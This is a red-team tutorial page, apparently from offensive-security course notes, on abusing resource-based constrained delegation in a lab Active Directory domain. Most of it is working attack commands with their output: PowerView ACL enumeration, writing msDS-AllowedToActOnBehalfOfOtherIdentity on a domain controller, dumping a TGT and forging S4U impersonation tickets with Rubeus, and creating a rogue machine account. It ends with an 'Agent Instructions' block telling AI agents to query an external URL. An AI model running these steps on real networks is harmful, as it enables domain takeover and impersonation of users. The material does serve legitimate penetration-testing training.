# Resource-Based Constrained Delegation

Enabling unconstrained or constrained delegation on a computer requires the [SeEnableDelegationPrivilege](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/enable-computer-and-user-accounts-to-be-trusted-for-delegation) user right assignment on domain controllers, which is only granted to enterprise and domain admins. Windows 2012 introduced a new type of delegation called resource-based constrained delegation (RBCD), which allows the delegation configuration to be set on the target rather than the source.

To compare - constrained delegation is configured on the "front-end" service via its msDS-AllowedToDelegateTo attribute. The example provided previously was where cifs/dc-2.dev.cyberbotic.io was in the msDS-AllowedToDelegateTo attribute of SQL-2. This allowed the SQL-2 computer account to impersonate any user to any service on DC-2, and DC-2 really had no "say" over it.

RBCD reverses this concept and puts control in the hands of the "backend" service instead, via a new attribute called *msDS-AllowedToActOnBehalfOfOtherIdentity*. This attribute also does not require SeEnableDelegationPrivilege to modify. Instead, you only need a privilege like WriteProperty, GenericAll, GenericWrite or WriteDacl on the computer object. This makes it much more likely to present itself as a privilege escalation / lateral movement opportunity.

The two major prerequisites to pull off the attack are:

1. A target computer on which you can modify msDS-AllowedToActOnBehalfOfOtherIdentity\*\*.\*\*
2. Control of another principal that has an SPN.

\\

This query will obtain every domain computer and read their ACL, filtering on the interesting rights. This will produce a handful of results, but the one shown is the one of interest. It shows that the Developers group has WriteProperty rights on all properties (see the ObjectAceType) for DC-2.

```
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

AceQualifier           : AccessAllowed
ObjectDN               : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights  : Self, WriteProperty
ObjectAceType          : All
ObjectSID              : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask             : 40
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength           : 0

beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
```

\\

A common means of obtaining a principal with an SPN is to use a computer account. Since we have elevated privileges on Workstation 2, we can use that. To start the attack, we need its SID.

```
beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid

objectsid                                   
---------                                   
S-1-5-21-569305411-121244042-2357301523-1109
```

\\

We'll then use this inside an SDDL to create a security descriptor. The content of msDS-AllowedToActOnBehalfOfOtherIdentity must be in raw binary format.

```
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
```

\\

These descriptor bytes can then be used with `Set-DomainObject`. However, since we're working through Cobalt Strike, everything has to be concatenated into a single PowerShell command.

```
beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'

beacon> powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```

\\

Next, we use the WKSN-2$ account to perform the S4U impersonation with Rubeus. The `s4u` command requires a TGT, RC4 or AES hash. Since we already have elevated access to it, we can just extract its TGT from memory.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

[*] Current LUID    : 0x3e7

 ------------------------------------------------------------------------------------------------------------------ 
 | LUID     | UserName                     | Service                                       | EndTime              |
 ------------------------------------------------------------------------------------------------------------------ 
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 9/13/2022 7:27:12 PM |

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

[*] Target service  : krbtgt
[*] Target LUID     : 0x3e4
[*] Current LUID    : 0x3e7

  UserName                 : WKSTN-2$
  Domain                   : DEV
  LogonId                  : 0x3e4
  UserSID                  : S-1-5-20
  AuthenticationPackage    : Negotiate
  LogonType                : Service
  LogonTime                : 9/13/2022 9:26:48 AM
  LogonServer              : 
  LogonServerDNSDomain     : 
  UserPrincipalName        : WKSTN-2$@dev.cyberbotic.io

    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  WKSTN-2$
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  9/13/2022 9:27:12 AM
    EndTime                  :  9/13/2022 7:27:12 PM
    RenewTill                :  9/20/2022 9:27:12 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY=
    Base64EncodedTicket   :

doIFuD[...]5JTw==
```

\\

Then perform the `s4u`.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap

[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFoD[...]0yJA==

[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':

      doIGcD[...]MuaW8=
```

\\

Finally, pass the ticket into a logon session for use.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8=

[*] Using DEV\nlamb:FakePass

[*] Showing process : False
[*] Username        : nlamb
[*] Domain          : DEV
[*] Password        : FakePass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4092
[+] Ticket successfully imported!
[+] LUID            : 0x6cb934

beacon> steal_token 4092
[+] Impersonated DEV\bfarmer

beacon> ls \\dc-2.dev.cyberbotic.io\c$

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 15:44:08   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 16:09:55   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 10:51:51   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     09/12/2022 09:45:09   ProgramData
          dir     08/15/2022 15:23:23   Recovery
          dir     08/16/2022 12:37:38   Shares
          dir     09/05/2022 12:03:43   System Volume Information
          dir     08/15/2022 15:24:39   Users
          dir     09/12/2022 09:28:56   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 1kb      fil     08/15/2022 16:16:13   dc-2.dev.cyberbotic.io_sub-ca.req
 12kb     fil     09/05/2022 07:25:58   DumpStack.log
 12kb     fil     09/13/2022 09:25:49   DumpStack.log.tmp
 384mb    fil     09/13/2022 09:25:49   pagefile.sys
```

\\

To clear up, simply remove the msDS-AllowedToActOnBehalfOfOtherIdentity entry on the target.

```
beacon> powershell Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
```

\\

***

\\

If you did not have local admin access to a computer already, you can resort to creating your own computer object. By default, even domain users can join up to 10 computers to a domain - controlled via the *ms-DS-MachineAccountQuota* attribute of the domain object.

```
beacon> powershell Get-DomainObject -Identity "DC=dev,DC=cyberbotic,DC=io" -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                       10
```

\\

[StandIn](https://github.com/FuzzySecurity/StandIn) is a post-ex toolkit written by [Ruben Boonen](https://twitter.com/FuzzySec) and has the functionality to create a computer with a random password.

```
beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.cyberbotic.io
    |_ Domain   : dev.cyberbotic.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
    |_ Password : oIrpupAtF1YCXaw

[+] Machine account added to AD..
```

\\

Rubeus `hash` can take that password and calculate their hashes.

```
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io

[*] Action: Calculate Password Hash(es)

[*] Input password             : oIrpupAtF1YCXaw
[*] Input username             : EvilComputer$
[*] Input domain               : dev.cyberbotic.io
[*] Salt                       : DEV.CYBERBOTIC.IOhostevilcomputer.dev.cyberbotic.io
[*]       rc4_hmac             : 73D0774058830F841C9205C857C9EE62
[*]       aes128_cts_hmac_sha1 : FB9A1AB8567D4EF4CEA6186A115D091A
[*]       aes256_cts_hmac_sha1 : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*]       des_cbc_md5          : 49B5514F1F45700D
```

\\

These can then be used with `asktgt` to obtain a TGT for the fake computer.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...]MuaW8=

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  EvilComputer$
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/13/2022 2:31:34 PM
  EndTime                  :  9/14/2022 12:31:34 AM
  RenewTill                :  9/20/2022 2:31:34 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  /s6yAyTa1670VNAT9yYBGya/mqOU/YJSLu0XuD2ReBE=
  ASREP (key)              :  7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
```

\\

And the rest of the attack is the same.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://yamortsa.gitbook.io/rto/kerberos/resource-based-constrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
